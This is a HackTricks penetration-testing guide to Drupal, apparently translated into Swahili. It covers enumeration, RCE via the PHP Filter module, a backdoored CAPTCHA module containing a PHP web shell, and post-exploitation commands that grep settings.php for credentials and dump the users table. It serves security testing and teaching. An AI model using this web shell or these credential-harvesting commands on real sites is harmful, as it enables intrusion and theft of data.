hacktricks/network-services-pentesting/pentesting-web/drupal.md

8.7 KiB

Drupal

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

{% embed url="https://websec.nl/" %}

Kugundua

  • Angalia meta
curl https://www.drupal.org/ | grep 'content="Drupal'
  • Node: Drupal huiweka maudhui yake kwa kutumia nodes. Node inaweza kuwa na chochote kama chapisho la blogu, kura, makala, n.k. URI za kurasa kawaida ni kwa mfano /node/<nodeid>.
curl drupal-site.com/node/1

Uchambuzi

Drupal inasaidia aina tatu za watumiaji kwa chaguo-msingi:

  1. Msimamizi: Mtumiaji huyu ana udhibiti kamili wa tovuti ya Drupal.
  2. Mtumiaji Aliyethibitishwa: Watumiaji hawa wanaweza kuingia kwenye tovuti na kutekeleza shughuli kama vile kuongeza na kuhariri makala kulingana na ruhusa zao.
  3. Mgeni: Wageni wote wa tovuti wanachukuliwa kama wageni. Kwa chaguo-msingi, watumiaji hawa wanaruhusiwa tu kusoma machapisho.

Toleo

  • Angalia /CHANGELOG.txt
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""

Drupal 7.57, 2018-02-21

{% hint style="info" %} Mipangilio mapya ya Drupal kwa chaguo-msingi huzuia ufikiaji wa faili za CHANGELOG.txt na README.txt. {% endhint %}

Uainishaji wa Jina la Mtumiaji

Jisajili

Katika /user/register jaribu kuunda jina la mtumiaji na ikiwa jina tayari limechukuliwa utapewa taarifa:

Omba nenosiri jipya

Ikiwa unauliza nenosiri jipya kwa jina la mtumiaji lililopo:

Ikiwa unauliza nenosiri jipya kwa jina la mtumiaji ambalo halipo:

Pata idadi ya watumiaji

Kwa kufikia /user/<number> unaweza kuona idadi ya watumiaji waliopo, kwa mfano hapa ni 2 kwani /users/3 inarudisha kosa la kutopatikana:

Kurasa Zilizofichwa

Fanya Ufutaji /node/$ ambapo $ ni nambari (kutoka 1 hadi 500 kwa mfano).
Unaweza kupata kurasa zilizofichwa (jaribio, maendeleo) ambazo hazitajwi na injini za utaftaji.

Taarifa za Moduli Zilizosanikishwa

#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml

# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml

Kiotomatiki

droopescan scan drupal -u http://drupal-site.local

RCE

Kwa Moduli ya Kichujio cha PHP

{% hint style="warning" %} Katika toleo za zamani za Drupal (kabla ya toleo la 8), ilikuwa inawezekana kuingia kama admin na kuwezesha moduli ya PHP filter, ambayo "Inaruhusu nambari/snippets za PHP zieleweke." {% endhint %}

Unahitaji plugin ya php iwe imewekwa (angalia kwa kufikia /modules/php na ikirudi 403 basi, ipo, kama haipatikani, basi plugin ya php haijawekwa)

Nenda kwa Modules -> (Angalia) PHP Filter -> Hifadhi mazingira

Kisha bofya Ongeza maudhui -> Chagua Ukurasa wa Msingi au Makala -> Andika mimba ya php kwenye mwili -> Chagua Nambari ya PHP katika Muundo wa Maandishi -> Chagua Onesha

Hatimaye tuifikie nodi iliyoanzishwa hivi karibuni:

curl http://drupal-site.local/node/3

Sakinisha Moduli ya Kichujio cha PHP

Kuanzia toleo 8 na kuendelea, moduli ya Kichujio cha PHP haitasakinishwa kwa chaguo-msingi. Ili kutumia kazi hii, tutahitaji kusakinisha moduli wenyewe.

  1. Pakua toleo jipya zaidi la moduli kutoka kwenye tovuti ya Drupal.
  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  3. Baada ya kupakua enda kwenye Utawala > Ripoti > Visasisho vinavyopatikana.
  4. Bonyeza Tafuta, chagua faili kutoka kwenye saraka tuliyoidownload, kisha bonyeza Sakinisha.
  5. Baada ya moduli kusakinishwa, tunaweza bonyeza Yaliyomo na umba ukurasa mpya wa msingi, kama tulivyofanya kwenye mfano wa Drupal 7. Tena, hakikisha uchague Msimbo wa PHP kutoka kwenye menyu ya Muundo wa Matini.

Moduli yenye mlango wa nyuma

Moduli yenye mlango wa nyuma inaweza kuundwa kwa kuongeza ganda kwenye moduli iliyopo. Moduli zinaweza kupatikana kwenye tovuti ya drupal.org. Chagua moduli kama vile CAPTCHA. Endelea chini na nakili kiungo cha tar.gz cha hifadhi.

  • Pakua hifadhi na fichua maudhui yake.
wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • Unda PHP web shell na maudhui:
<?php
system($_GET["cmd"]);
?>
  • Kisha, tunahitaji kuunda faili ya .htaccess ili tupate ufikiaji wa folda. Hii ni muhimu kwani Drupal inakataa ufikiaji moja kwa moja wa folda ya /modules.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • Mipangilio hapo juu itatumika kwa sheria za folda ya / tunapouliza faili katika /modules. Nakili faili zote mbili kwenye folda ya captcha na unda kiunzi.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • Kukadiria kwamba tuna upatikanaji wa utawala kwenye tovuti, bonyeza Manage na kisha Extend kwenye upau wa pembeni. Kisha, bonyeza kitufe cha + Sakinisha moduli mpya, na tutapelekwa kwenye ukurasa wa usakinishaji, kama vile http://drupal-site.local/admin/modules/install Tafuta kwenye nyaraka ya Captcha iliyoharibiwa na bonyeza Sakinisha.
  • Mara tu usakinishaji unapofanikiwa, tafuta /modules/captcha/shell.php kutekeleza amri.

Baada ya Kuvamia

Soma settings.php

find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null

Pindua watumiaji kutoka kwenye DB

mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'

Marejeo

{% embed url="https://websec.nl/" %}

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: